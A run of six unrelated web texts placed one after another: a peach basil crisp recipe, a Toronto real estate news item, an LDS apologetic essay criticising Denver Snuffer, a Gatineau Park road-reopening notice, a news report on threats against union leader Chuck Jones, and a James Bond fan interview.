peach basil crisp is the perfect no-fuss, knock your socks off, post dinner on the balcony with a glass of chilled rosé summer dessert, whatever place in the world you’re currently inhabiting. I pretty much beg you to try it, especially if you’re a prairie person aching for some of those prairie skies and grandma home-cooked vibes. The directions I’ve laid out here are extremely flexible. At its heart, a crisp is just one layer of fruit topped with a layer of crumble. So don’t worry if you’re missing the exact right size of pan or number of peaches, etc. You can eat now! PS: Because it was dreamed up in the medieval countryside, where sheep actually still have shepherds, etc., I flirted with calling this peach basil crisp the “Pastoral Peach Crisp”. However, Google’s algorithms know better than me. You should call it the Pastoral Peach Crisp though, if you want. PPS: The Alice B. Toklas Cookbook Peach Basil Crisp with Mascarpone 2016-06-08 10:47:10 Serves 6 Write a review Save Recipe Print Prep Time 30 min Cook Time 30 min Total Time 1 hr Prep Time 30 min Cook Time 30 min Total Time 1 hr Filling 8 peaches 2 tbsp fresh basil zest of 2 small lemons 2 tablespoons granulated sugar couple pinches of coarse salt Crisp 2/3 cup oats 2/3 cup slivered almonds 2/3 cup brown sugar 1/2 cup + 2 tbsp flour 6 tbsp cold butter mascarpone or whipped cream (for serving) Instructions Preheat your oven to 400 degrees Fahrenheit. For the filling Wash and slice peaches lengthwise. Assemble peaches evenly in a 10-inch tart pan. Sprinkle sugar, lemon zest, salt and basil (tear the leaves if they are too large) over the peaches. For the crisp Combine all ingredients (except mascarpone) in a large bowl, rubbing the butter in with your fingers until mixture is crumbly. Crumble over top of the peaches. Bake until mixture is bubbling and topping is golden brown, about 30 minutes. Best served immediately, but also good chilled. Notes Peach basil crisp can stay in the fridge for up to 3 days, covered, without getting too soggy. If it's anything like the rhubarb or apple crisps I am used to eating, you should be able to freeze peach basil crisp for a really long time. Don't worry too much if the peaches leak a lot of liquid at the bottom of the dish during the cooking process. It tastes almost like syrup if you spoon it on top of individual portions. Alternatively, it also seems to go away after a day in the fridge. This peach basil crisp can easily be made gluten-free by subbing regular oats for gluten free oats and flour for almond flour (or just an entire crust of slivered almonds) or vegan by omitting the mascarpone and subbing butter for some cold coconut oil. You Can Eat Now http://www.youcaneatnow.com/ Did you make this recipe?We want to know how it turned out! Share a photo on Instagram and use the hashtag #youcaneatnow
The Great Gulf real estate group is buying a high-profile, high-rise development in Toronto's entertainment district from Ed Mirvish Enterprises. The Mirvish+Gehry project currently calls for two towers — one 82 storeys and the other 92 storeys — near the Princess of Wales theatre on King Street West. Terms of the transaction weren't disclosed in Monday's announcement. The initial proposal announced in 2012 called for the demolition of the theatre — one of several venues owned by the Mirvish family — to make room for a third tower. Mirvish has scaled back the scope of the development in response to local objection to the height and density of the development, which will include retail, office, institutional, hospitality and condominium suites in downtown Toronto. The Princess of Wales Theatre was slated for demolition in the original plan. In 2014, the plan was re-worked to allow the theatre to stay. The area is home to some of Toronto's major entertainment venues including the Bell Lightbox, which is home to the Toronto International Film Festival, Roy Thomson Hall and the Mirvish-owned Royal Alexandra theatre.
Note: This is not a response to Denver Snuffer’s polygamy essay. That response is found here. See also Examining-DenverSnuffer.com. A Response to Denver Snuffer By Brian C. Hales In 2013, Denver Snuffer and I exchanged several emails and met for lunch. He is an impressive scholar with an extraordinary knowledge of the gospel and the scriptures. We had a spirited discussion and parted as friends. Neither of us was dissuaded by the arguments presented by the other. In March of 2015 Snuffer posted a long essay where he explains his views on polygamy.[1] In it he states: “Brian Hales invited me to participate with him in jointly writing a book.” I recall chatting with him about the possibility. My willingness to co-author a polygamy paper with him was because my participation would have required him to stay close to the evidences (which I have in my database), thus preventing him from misrepresenting early Church history. I knew Denver had a following of perhaps hundreds or more. I had read his publications and believed them to be in error. I naively hoped that I might help him reorient to the truth. Even now I wish sincerely that this post and critique of Denver’s writings was not necessary. Having read several of Denver Snuffer’s writings, I am saddened by his interpretations because he expresses such extreme views of ambiguous evidences and entirely ignores documents that contradict his explanations. Rather than address his claims point-by-point, I will offer some broader observations and then appeal to the fact that Snuffer has no genuine priesthood authority and consequently, cannot perform saving ordinances. So it would seem that his message is empty. Joseph Smith explained that there is “no salvation between the two lids of the bible without a legal administrator.”[2] Neither is there salvation in the opinions of men and women, no matter how eloquent they are presented. This essay will address three basic problems with his religious claims: (1) his willingness to publicize his reported divine experiences; (2) his willingness to criticize Church leaders; (3) his assertion that genuine priesthood authority is not currently needed.[3] Denver Snuffer Publicly Reports Seeing the Savior For several years in his writings, conversations, and in speaking opportunities, Denver Snuffer has shared remarkable claims with his audiences reporting that he has experienced personal interviews with Jesus Christ and has heard “His own voice.”[4] By making such claims, Snuffer joins a group of dozens of other dissenters who have made similar or even more exotic claims during the past 100 years. Included are men such as Moses Gudmundson, John T. Clark, Lorin Woolley, Joseph W. Musser, Elden Kingston, Francis Darter, Leroy Wilson, Rulon C. Allred, Alex Joseph, Samuel Eastman, Paul Feil, John Bryant, Elden Hollis, Sherman Russell Lloyd, Frank Miller, Robert C. Crossfield, Maurice Glendenning, Gerald Peterson, James D. Harmston, Ben, Ross, Joel and Ervil LeBaron, Ron Lafferty, and Brian David Mitchell. Were we to expand this list to include the nineteenth century, it would at least double in length. In short, claiming divine manifestations has been a common behavior among dissidents since the Church was first organized. This finding is not surprising. Joseph Smith warned: Behold, verily I say unto you, that there are many spirits which are false spirits, which have gone forth in the earth, deceiving the world. And also Satan hath sought to deceive you, that he might overthrow you. (D&C 50:2-3.) These scriptures state that men can be deceived and will be deceived if they are not careful. Joseph also predicted: “For in those days, there shall also arise false Christs, and false prophets, and shall show great signs and wonders; insomuch that, if possible, they shall deceive the very elect, who are the elect according to the covenant” (JST Matthew 24:23). Brigham Young encountered such individuals: “Many come to me and tell me what wonderful visions they have–that their minds are open to eternal things–that they can see visions of eternity open before them and understand all about this kingdom.”[5] How did he respond? With tongue-in-cheek he reported: I say to such persons, Go ahead, and get all the revelations you can. If brother Joseph visits you every night, go ahead, and tell him to bring brother Hyrum, father Smith, Don Carlos Smith, St. Paul, Peter, James, and John, and Jesus Christ, if you can induce him to do so. . . Hell is full of such revelations.[6] Then he explained his personal reaction: I never notice them much. I sit and hear them talk about their wonderful knowledge, but it passes in and out of my ears like the sound of the wind. It is for me to see to this kingdom, that it is built up, and to preserve the Saints from the grasp of the enemy. The visions of the class I have mentioned are nothing to me. They may exhibit their great knowledge before me; but when they have done, it is all gone from me.[7] For Denver Snuffer or any worthy Latter-day Saint to view God is not the problem. According to Joseph Smith’s revelations, seeing the Lord is a blessing to be sought after. We are to “seek the face of the Lord always” (D&C 101:38). Those who make themselves worthy are promised that “the veil shall be rent and you shall see me and know that I am” (D&C 67:10, see also 93:1). But “it shall be in his own time, and in his own way, and according to his own will” (D&C 88:68). I have known individuals who have indicated to me in private conversations that they have experienced fulfillment of these promises in their lives. Nevertheless, one difference between them and Denver Snuffer is his willingness to share his experiences widely. The scriptures instruct: It is given unto many to know the mysteries of God; nevertheless they are laid under a strict command that they shall not impart only according to the portion of his word which he doth grant unto the children of men, according to the heed and diligence which they give unto him. (Alma 12:9.) Remember that that which cometh from above is sacred, and must be spoken with care, and by constraint of the Spirit; and in this there is no condemnation. (D&C 63:64.) These verses tell us that while sacred communications may come, they are “laid under a strict command” and must be “spoken with care.” Joseph Smith further instructed: “The reason we do not have the secrets of the Lord revealed unto us is because we do not keep them but reveal them, we do not keep our own secrets but reveal our difficulties to the world even to our enemies then how would we keep the secrets of the Lord Joseph says I can keep a secret till dooms day.”[8] Brigham Young taught similarly: The Lord has no confidence in those who reveal secrets, for He cannot safely reveal Himself to such persons. It is as much as He can do to get a particle of sense into some of the best and most influential men in the Church, in regard to real confidence in themselves. They cannot keep things within their own bosoms.[9] Denver Snuffer reported seeing the Savior. If it was a true revelatory experience, it would have accompanied a mandate to keep it sacred. Why? Because serving as God’s mouthpiece to the Church is not his calling. However, a false revelation would carry no similar mandate, but would likely be empowered by a spirit encouraging a public disclosure and perhaps motivating a gathering of like-minded individuals. It is true that hold the office of an Apostle is be “special witnesses of the name of Christ in all the world” (D&C 107:26; italics added), which accurately describes members of the quorum of the Twelve today. Elder Boyd K. Packer explains: “We do not talk of those sacred interviews that qualify the servants of the Lord to bear a special witness of Him, for we have been commanded not to do so. But we are free, indeed, we are obliged, to bear that special witness.”[10] These testimonies are plain to those who are diligently watchful. For example, in a 1971 General Conference Elder Boyd K. Packer reported: I have heard one of my brethren declare: “I know from experiences, too sacred to relate, that Jesus is the Christ.” I have heard another testify: “I know that God lives; I know that the Lord lives. and more than that, I know the Lord.”[11] Years later Elder Russell M. Nelson testified in General Conference: As a special witness of Jesus Christ, I testify that He lives! I also testify that the veil of death is very thin. I know by experiences too sacred to relate that those who have gone before are not strangers to leaders of this Church.[12] In General Conference April 2014, Boyd K. Packer, President of the Quorum of the Twelve Apostles, stated plainly: “I bear my witness that the Savior lives. I know the Lord.”[13] It is unfortunate the Snuffer has broadcast his reported visions to the world, because if they were true manifestations, he would not be commissioned to do so. If they are false, then it is even more unfortunate. Denver Snuffer Criticizes the Church and its Leadership In his book, Passing of the Heavenly Gift, Denver Snuffer assures his readers that the Church has “abandoned doctrine” and that the “underlying religion” established by Joseph Smith has been “curtailed.” He further criticizes: “Today, marketing the institution has become more important to Mormon success than preserving the original content.” [14] Snuffer is entitled to his own opinion, but he sounds like dissenters of previous eras. In fact Joseph Smith encountered individuals with claims like Snuffer’s as early as 1830. Via a seer stone, Hiram Page was receiving his own revelations that contradicted Joseph’s. The Lord instructed: “And again, thou shalt take thy brother, Hiram Page, between him and thee alone, and tell him that those things which he hath written from that stone are not of me and that Satan deceiveth him” (D&C 28:11). Two and a half years later, Joseph wrote to a missionary, Elder Jared Carter, regarding a member who had received a special vision of their own: Dear Brother Carter; Your letter to Bro. Jared is just put into my hand, and I have carefully perused its contents, and embrace this opportunity to answer it. We proceed to answer your questions: first concerning your labor in the region where you live; we acquiesce in your feelings on this subject until the mouth of the Lord shall name; and, as it respects the vision you speak of, we do not consider ourselves bound to receive any revelation from any one man or woman without their being legally constituted and ordained to that authority, and given sufficient proof of it. I will inform you that it is contrary to the economy of God for any member of the church, or any one, to receive instruction for those in authority, higher than themselves, therefore you will see the impropriety of giving heed to them: but if any have a vision or a visitation from a heavenly messenger, it must be for their own benefit and instruction, for the fundamental principles, government, and doctrine of the church is vested in the keys of the kingdom.[15] This letter was published in the Church’s Times and Seasons. It explains that God would never inspire Denver Snuffer or Brian Hales to correct “those in authority” with “higher” callings we might possess at any particular moment. Prophet also counseled: “I will give you one of the keys of the mysteries of the kingdom. It is an eternal principle that has existed with God from all Eternity that that man who rises up to condemn others, finding fault with the Church, saying that they are out of the way while he himself is righteous, then know assuredly that that man is in the high road to apostacy and if he does not repent will apostatize as God lives.”[16] As applied to Denver Snuffer, Joseph’s counsel is actually prophetic. Denver Snuffer justifies his criticisms of the Church by asserting that “the passing of the heavenly gift was anticipated by Joseph Smith’s prophecies and the Book of Mormon.”[17] His claims are curious because there is no plain prophecy of a latter day apostasy in the Book of Mormon. It is true that several passages clearly predict an apostasy 400 years after Christ’s visitation to the Americas. For example, Alma prophesied: “Behold, I perceive that this very people, the Nephites, according to the spirit of revelation which is in me, in four hundred years from the time that Jesus Christ shall manifest himself unto them, shall dwindle in unbelief” (Alma 45:10). Many other prophets referred to this apostasy.[18] That the truth would be lost from the Lehites and they would “dwindle in unbelief” was a huge issue for God’s leaders in the Book of Mormon. In contrast, we find no similar prophesies or references to an apostasy that was to occur after the Restoration. A few verses can be construed to possibly hint at such, but those passages can be applied to men like Snuffer as well, if not with greater applicability. Neither do they validate a wholesale dwindling in unbelief of the entire membership of the Church formed by Joseph Smith. Denver Snuffer’s Teachings Regarding Priesthood Authority Denver Snuffer articulately outlines his theories describing how the Church and its leaders are in apostasy. Inherent in his discussion is the implication that he is not. That is, Denver has the truth that he affirms the Church has lost. However, the problem for him and all dissenters who proclaim this view is priesthood authority. They can leave the Church, but they can’t take their priesthood with them for two reasons. First, they have proclaimed the Church has apostatized, so that would generally include a loss of priesthood, which was the source of the dissenter’s ordination. Some will affirm that the Church has apostatized, but their personal ordinations are still valid and then attempt to utilize them although they have been excommunicated. This is because excommunication or being “cut off” from the Church ends a man’s priesthood (D&C 85:11). The second reason deals with priesthood keys. God’s house is a house of order (D&C 132: 8, 18). This order is maintained by one man who holds the keys of the priesthood. Joseph explained: “there is never but one on the earth at a time on whom this power and the keys of this priesthood are conferred” (D&C 132:7). The keyholder is to “be like unto Moses” (D&C 107:91), to serve as God’s prophet and mouthpiece on earth. The “one” man is the President of the High Priesthood[19] and presides over the “Presidency of the High Priesthood,” which is the highest “council of the Church” (D&C 107:9, 78-79) unto whom is given the “keys of the kingdom” (D&C 81:2, 90:2-6).[20] KEYS HELD BY THE “ONE MAN” Keys of Sealing (D&C 132:7) Keys of the Gathering of Israel (D&C 110:11) Keys of the Dispensation of the Gospel of Abraham (D&C 110:12) Keys of the Powers of the Holy Priesthood (D&C 128:11) Keys of the Kingdom (D&C 81:2) The Prophet wrote: “For him to whom these keys are given there is no difficulty in obtaining a knowledge of facts in relation to the salvation of the children of men, both as well for the dead as for the living” (D&C 128:11; italics added). In 1845 Brigham Young clarified: “Joseph said that the sealing power is always vested in one man, and that there never was, nor never would be but one man on the earth at a time to hold the keys of the sealing power in the Church. That all sealings must be performed by the man holding the keys or by his dictation, and that man is the President of the Church.”[21] In 1857 Heber C. Kimball taught: “You Bishops, Seventies, High Priests, Elders, Priests, Teachers, Deacons, and members, where did you get the Priesthood and authority you hold? It came from this very authority, the First Presidency that sits here in this stand. There was an authority before us, and we got our authority from that, and you got it from us, and this authority is with the First Presidency.” Then he warned: “Now do not go off and say that you are independent of that authority.”[22] That one man held the keys has been observed from Joseph Smith until today. While in Nauvoo, Hyrum Smith, the Prophet’s brother and Associate President and Church Patriarch, attempted to seal a marriage without Joseph’s approval. Two years later, in 1845, Brigham Young recalled the event: “Joseph said that the sealing power is always vested in one man, and that there never was, nor never would be but one man on the earth at a time to hold the –sealing power- keys of the sealing power in the church, that all sealings must be performed by the man holding the keys or by his dictation, and that man is the president of the church. . . . Hyrum [Smith] was counseller . . . but the sealing power was not in Hyrum, legitimately, neither did he act on the sealing principle only as he was dictated by Joseph in every case This was proven, for Hyrum did in one case undertake to seal without counsel, & Joseph told him if he did not stop it he would go to hell and all those he sealed with him.” (Brigham Young to William Smith, “City of Joseph, Aug 10th 1845,” in Brigham Young Collection, CHL, CR 1234/1.) In 1847, W.W. Phelps served a mission to the eastern states where he married three wives polygamously. His mission companion, Henry B. Jacobs, performed the marriages without first obtaining permission from President Young. Phelps returned to Winter Quarters, Iowa, with his three new “wives.” Brigham Young heard the story and addressed Phelps: “You have been living in adultery – [N]o man can have the 2nd woman unless he ha[s] the consent of the man who holds the sealing power…” He also remarked: “[I]f bro Phelps had told us last Spring that he was going to bring a girl – I wo[ul]d. have given her to you & [would have been] glad to do it.”[23] Phelps was excommunicated on December 6, 1847 but was quickly rebaptized after acknowledging his misunderstanding. Nevertheless, the most important observation is that President Young plainly acknowledged himself as the keyholder, the one man on earth who could authorize eternal sealings. Despite the clarity of these teachings, Snuffer has adopted a novel approach to circumvent the knotty problem of no priesthood outside of the Church: The church’s ordinations and ordinances remain vital to the restored Gospel, and the plan of salvation. Whether or not there is any person in the church with priesthood power, every person who joins the church, and keeps its ordinances will be invited through those ordinances, to come and receive the Lord.[24] It appears Snuffer believes that ordinances performed without genuine priesthood power would still be valid, that is, someone could still “keep” such ordinances and be blessed for it. Joseph Smith would have undoubtedly condemned such notions (D&C 22:1-4). Furthermore, such teachings create disorder by allowing sincerity to trump authentic authority. And sincerity can be deceptive. How readily do people embrace a self-deception as they view the image in the mirror as being more worthy and more filled with light than is actually the case? “O the vainness, and the frailties, and the foolishness of men! When they are learned they think they are wise, and they hearken not unto the counsel of God, for they set it aside, supposing they know of themselves, wherefore, their wisdom is foolishness and it profiteth them not. And they shall perish” (2 Nephi 9:28). Summary Following a long line of dissenters and critics of The Church of Jesus Christ of Latter-day Saint, Denver Snuffer offers another alternate interpretation of Joseph Smith’s teachings. As a lawyer, he writes with conviction, logic, and the persuasive power that we would expect from a seasoned attorney-at-law. However, the message he sends is problematic when contextualized within the Prophet’s teachings. Snuffer reports that the Savior has appeared to him telling him the Church is in apostasy and in subtle ways, giving him God’s latest word to the people. The primary problem is that within Joseph Smith’s teachings, this would never happen. Joseph’s God is all-powerful and fully capable of keeping an orderly house. His God is also all-knowing and able to call Church leaders to their proper positions according to the divine timeline and to call them home if a need for change were to arise. Raising up a new prophet from the rank-and-file membership would never be needed. In plain language, Joseph Smith explained that God does not inspire a man or woman to correct those with a higher calling. Any other teaching would result in confusion, not order. Such confusion is readily apparent among dissenters generally. Denver Snuffer’s situation is even more distanced from Joseph Smith’s teachings as he struggles to deal with his lack of priesthood authority. Joseph taught that genuine authority was always needed. No exceptions. But Snuffer doesn’t have any authority and has yet to claim a new dispensation of authority. That may yet come as his condemnation of the Church rises in pitch and volume. Many other dissenters in the past have followed this course and gathered a following around them claiming new revelation and eventually even new priesthood powers. Time will tell. See also “Dissenters: Portraying the Church as Wrong So They can be Right Without It.” [1] http://denversnuffer.com/wp/wp-content/uploads/2015/04/Plural-Marriage.pdf. [2] Ehat & Cook, Words, Joseph Smith Diary, by W. Richards: 23 July 1843 (Sunday Afternoon), p.235. [3] For a more detailed response to his teachings, click http://en.fairmormon.org/Category:Denver_Snuffer [4] Denver Snuffer, “Preserving The Restoration,” Lecture 10, Mesa, Arizona (9 September 2014), 4. http://www.scribd.com/doc/239760895/10-Phoenix-Transcript-Preserving-the-Restoration#download [5] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857. [6] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857. [7] Journal of Discourses, Vol.5, p.352, Brigham Young, October 25, 1857. [8] Ehat & Cook, Words, Wilford Woodruff Diary: 19 December 1841 (Sunday), p.80–p.81 [9] Journal of Discourses, Vol.4, p.288, Brigham Young, March 15, 1857 [10] Conference Report, April 1980, p. 86. See also Alma 12:9, HC 4:478-479 and JD 4:288. [11] Ensign, June, 1971, p. 88. [12] Ensign, May, 1992, p. 74 [13] Boyd K. Packer, “The Witness,” General Conference (webpage), accessed April 20, 2014, https://www.lds.org/general-conference/print/2014/04/the-witness?lang=eng&clang=eng. [14] Denver C. Snuffer, Jr., Passing the Heavenly Gift, Salt Lake City: Millcreek Press, 11, back cover. [15] “History of the Church,” Times and Seasons, 5 (January 1, 1844) 752. [16] Ehat & Cook, Words, Willard Richards Pocket Companion: 2 July 1839 (Tuesday), p.413. [17] Denver C. Snuffer, Jr., Passing the Heavenly Gift, Salt Lake City: Millcreek Press, 11, back cover. [18] See 1 Ne. 12:12-22, 13:35, 2 Nephi 1:10, Alma 45:12, Helaman 13:5, 9–10, 15:11, 3 Nephi 21:5, Mormon 8:6, 9:20, Moroni 10:1. [19] Some fundamentalist writers refer to an office of “President of the Priesthood” or more commonly “President of Priesthood.” However, no such office or calling is mentioned in the scriptures or in any of the teachings of Joseph Smith, Brigham Young and John Taylor etc. Only the “President of the High Priesthood” is discussed. [20] See also Matthew 16:19. [21] Letter to William Smith, 10 August 1845, Brigham Young Collection. In E. Gary Smith, “Patriarch Crisis of 1845,” 34; J. Max Anderson, “Mormon Fundamentalism,” section: Joseph F. Smith. [22] JD 4:251-252. [23] Minutes of the Apostles of The Church of Jesus Christ of Latter-day Saints, 1835-1893, Salt Lake City: Privately Published 2010, 130 [24] Denver C. Snuffer, Jr., Passing the Heavenly Gift (Salt Lake City: Mill Creek Press, 2011), 37, italics added.
Following an unusually cold early spring, the National Capital Commission announced Tuesday that the Gatineau Park parkways network will be fully reopened to motor vehicles by May 8. The Luskville Falls access road will be first, scheduled to open again at noon on May 1. The remainder of the roads — the Gatineau Lake parkway, Champlain Lake parkway, Fortune Lake parkway, Philippe Lake parkway and the La Pêche Lake access road — will reopen an noon on May 8. The parkways provide access to such scenic sites as Pink Lake, the Champlain Trail and the Mackenzie King Estate. The NCC also announced that designated mountain bike trails are scheduled to reopen in Gatineau Park on May 15. NCC officials said in statement that the continued cold weather into April had delayed maintenance crews from accessing the roads until now.
President-elect Donald Trump (L) and United Steelworkers Local 1999 president Chuck Jones (R). John Moore/Getty Images/CNN Chuck Jones, a union leader who accused President-elect Donald Trump of misrepresenting the scope of an agreement to preserve some manufacturing jobs in Indiana, says he has been receiving threatening phone calls. Jones told the Washington Post on Wednesday night that the threatening calls started after Trump tweeted him by name the same night, accusing Jones of "doing a terrible job" in his role as president of the United Steelworkers Local 1999 union. Trump, who is apparently busy setting up his Cabinet before his inauguration on January 20, sent another searing tweet: "If United Steelworkers 1999 was any good, they would have kept those jobs in Indiana. Spend more time working-less time talking. Reduce dues," he said. Jones told the Post's Danielle Paquette that his phone began ringing constantly a half-hour after Trump tweeted the insults. "One voice asked: What kind of car do you drive? Another said: We're coming for you," the Post reported. In an interview with MSNBC, Jones said some of the threats were more specific:"Nothing that says they're gonna kill me, but, you know, you better keep your eye on your kids ... We know what car you drive. Things along those lines." Despite the numerous threats, Jones said he is not worried: "I've been doing this job for 30 years, and I've heard everything from people who want to burn my house down or shoot me ... So I take it with a grain of salt and I don't put a lot of faith in that, and I'm not concerned about it and I'm not getting anybody involved. I can deal with people that make stupid statements and move on." Late Wednesday, tweets from Vice President-elect Mike Pence showing support for Jones earlier this year began circulating on social media. Pence tweeted in March: "Appreciate the chance to meet w/ Chuck Jones & hardworking men of Local 1999 about our efforts to save Carrier jobs."
CHRIS Favourite Bond Film? For me there have been five Bond films that have stood on this hallowed pinnacle of Bond stardom. The original, and still a firm favourite, is Thunderball. This is the Bond film I have undoubtedly watched more than any of the others. In fact, I really couldn’t estimate how many times I’ve seen it. It has always been my Dad’s favourite Bond film after he went to see it in the cinema in ’65 and I guess I appreciated it’s glossy, exotic and adventurous feel in equal measure. I remember countless times going to the local swimming pool and re-enacting any number of underwater scenes from the film and it still holds a dear place in my heart. I even went dressed as Bond from Thunderball in primary school when I was 6 years old and did a talk in front of everyone in assembly… if only I could find the photo!! (P.S. It was fancy dress day, I wasn’t the only one dressed up!) I believe Goldfinger was my next number one Bond. A film that has absolutely everything in a Bond that you want and without doubt scores the highest number of iconic scenes in any one film in the series ~ Goldfinger, OddJob, Pussy Galore, glittering Jill Masterson, DB5, Golf game, laser scene, Fort Knox… the list is endless. It quite clearly set the standard and continues to do so. Hot on the heels of Goldfinger came From Russia with Love. In my younger years I didn’t have as much respect for this film as I do today. The script is complex but infallible and holds some extremely classy moments which Connery throws down with his usual effortless swagger. In Grant and Klebb we have two of the best psychotic villains in the series and the Bond vs Grant train fight is simply breathtaking. For me this film is right up there. My next choice was probably the fifth film that held the title of my favourite Bond and has, in recent years, often swapped places with the fourth film to gain the hotspot which also happens to be my current number one title holder. It is, of course, Casino Royale. This film got so many things right on so many levels and literally just writing about it is giving me a tingly feeling all over. The characterisation in this film is expertly portrayed and it seems to have such a perfect balance between action, drama, humour, emotion and intelligence. It was a reboot that actually worked and not just worked but excelled beyond expectation. Already I can’t wait until the next time I watch it! However, my current number one James Bond film is so brilliant it’s a wonder I don’t have it playing on eternal loop whenever I’m in the house. It’s one of the few that I didn’t have on VHS when I was younger and I’d love to think what a 6 year version of me would’ve thought about watching it for the first time. Currently, the best James Bond film for me is the utterly enthralling On Her Majesties Secret Service. The respect I’ve got for that film is immense! It is the most hard-hitting of all the Bonds, has the best action sequences, the best soundtrack, the best Bond girl in Tracey Di Vicenzo, a classy villain in Telly Savalas’s Blofeld, great humour, my favourite Bond location, a bevy of Bond beauties, an Aston Martin, a great ally in Draco and a fabulous portrayal of Bond by Lazenby. (If only he’d made more!) It is also supremely close to the Fleming novel which helps to elevate it to another level. Not to mention the fact that it holds the mantle as the best Christmas film ever made, closely followed by Die Hard, Home Alone and It’s a Wonderful Life! As for the future, who knows? But right at this moment OHMSS gets me more excited than any other Bond film and ultimately gets my vote! J Favourite Bond Book? This is an interesting question as I’m soon to embark on a Fleming Bond-athon over the coming months so it will be interesting to see if my decision changes at all after going through them again. For now though, I’d have to go with From Russia with Love. I loved the fact that so much attention was paid to the character of Grant and how the inevitable matchup between Bond and Grant turned into one hell of a showdown. I thought this was one of Fleming’s cleverest Bond novels. Tatiana Romanova was a fantastic Bond girl and the ending of Bond possibly dead from Klebb’s poisoned shoe was inspired. Other notable mentions go to Casino Royale, Moonraker and On Her Majesties Secret Service. All three of the above are first class thrillers and Fleming’s writing seems to shine while reading them. Favourite Bond Girl? Wow this is a tricky question! I guess you could come at it from a couple of angles. Are we asking who is our favourite Bond Girl based entirely on who we find attractive or who is our favourite Bond Girl based solely on their actual character in the film? If we go for the former I’m a big fan of: Honey Ryder, Tanya Romanova, Pussy Galore, Domino, Fiona Volpe, Solitaire, Naomi, Corrine Dufour, Lupe Lamora, Xenia Onatopp, Elektra King, Miranda Frost, Vesper Lynd, Camille and Severine… which is quite a few really!! And if we’re talking about the latter I’d have to say my top choices would be Pussy Galore, Tracey Di Vicenzo and Vesper Lynd. Hmm, I’m aware this is far from a straight answer so more specifically I will try to narrow it down to two (or possibly three or maybe four), which is a supremely difficult job! My favourite Bond Girl for being the best match for Bond and ultimately the best Bond Girl character in the series is, without doubt, Tracey Di Vicenzo from OHMSS. The fact she is an equal for Bond and can fight, drive, ski, skate, handle a gun, is intelligent, independent, complex, strong, and loving leaves her head and shoulders above the rest and Diana Rigg is superb in the role. Based purely on who gets my blood flowing the most, I’m going to have to opt for a triple hitter of Fiona Volpe, whose honey trap claws could have tempted me any time!! (Without a doubt one of the best villainesses in the series), her fellow onscreen Bond Girl, Claudine Auger, who had one of the sexiest smiles in the series and Pussy Galore for whom I would keep playing it easy all day long!! Favourite James Bond Actor? For me, my favourite Bond actor has never changed throughout my life as a Bond fan. Although I grew up in the 80s the Bond I saw most, who in my eyes will never be surpassed, was Sean Connery. That man was, and possibly still is, the coolest man on the planet. “He was the original and the best” is a quote often used but in this case it’s 100% accurate. Sean installed in the character of Bond an animal-like menace, the likes of which has not been seen since. His Bond was a sadistic brute who moved incredibly well, always looked self assured and exuded the epitome of suave coolness. He could pull off every aspect of the character that we’ve come to know and love… he was extremely solid in a fight, had his way with the ladies, was effortlessly sophisticated, and humourous and witty when required. Of all the actors who have played Bond, Connery had ‘it’ more than any other… the type of charisma that very few people in the world come close to. In joint second place comes each of the other actors to have played James Bond. Depending on my mood on any given day I will always be up for watching George, Roger, Tim, Pearce and Danny Boy and love them all in their own right. Each of them has their strengths which help to keep the series varied and entertaining, but for me, Connery just had everything in the right amount! Earliest Memory of Bond? I guess I don’t have any one particular memory, rather a blur of memories from my Bond youth. I happened upon the Bond films thanks to my Dad at a young age of perhaps four or five and remember watching them frequently on the sofa with a big smile on my face. Thunderball is the strongest in my memory but I also remember the flying car while watching TMWTGG at my Gran’s when I was about 7 or 8 but by then I was already well into my Bond. It is a bit of a shame that I can’t remember a particular moment in time when I got hooked on Bond. A lot of people seem to have that trigger moment but for me I guess I always have been a fan and can’t remember otherwise. Although I do remember lying in bed on frequent occasions in my youth re-enacting Bond’s Acrostar manoeuvres to a T from Octopussy… hmm, perhaps it’s time for another go! Location you’d love to visit? This is a very easy question to answer. By far the Bond location I’d most like to visit is Piz Gloria! There are numerous reasons why, including: the fact that the location is pretty much still the same as it is in the film, that it is seen extensively in the film, that OHMSS is currently my favourite bond film and that I’m a huge fan of snow and snowboarding and would love to ride down from the summit with John Barry’s killer tune playing in my ears! I’ve managed to visit quite a few locations myself including Guincho beach from the OHMSS pretitles and the Karnak Temple in Egypt from TSWLM, both of which were immense, but the location that I got the biggest buzz from so far was Istanbul and its various locations in FRWL especially, TWINE and SF! Favourite scene in the series? I could easily write for hours upon hours about all the amazing scenes that have been depicted throughout the series and trying to scale those down to one in every film or even to a top ten would be a mighty challenge. Some of the ones that spring to mind are the cliff parachute jump from Spy, the laser scene from Goldfinger, the death of Tracey in OHMSS, the shooting of Mr White and follow up remark in CR, the shooting of Professor Dent in DN and the KGB attack on the Blayden Safehouse in TLD, to name a few. There is one scene, however, which I think epitomises the sheer coolness of Bond that will never be topped. It could be said to be the most important scene in film history and undoubtedly holds the most famous line in film history. It is, of course, Bond’s introduction in Dr No. Bond has never looked better in the series than in this moment and they way he is introduced at the casino is the same way Fleming introduced Bond when he first put pen to paper. Whenever I watch that scene I feel an electric shiver which makes my hairs stand on end and reminds me why I love Bond so much! Most Bondian thing you’ve ever done? Hmm… this is an interesting question. From an action point of view I guess the closest I’ve come is snowboarding across a mini lake/pond like Bond in AVTAK. I’ve also walked back-to-back into a pretty female counterpart around the pillars of Karnak temple a la TSWLM which was pretty cool. One that I’d love to do is to re-enact Bond’s offer of a pair of shoes to Fiona while she’s in the bath… one day maybe! J More about Chris… On the rare occasions when Chris is on downtime from doing something Bond-related he likes to be in the outdoors, preferably jumping around like a madman or finding whatever patch of snow he can to slide down. His other hobbies include writing, working on films and crafting To Do lists!
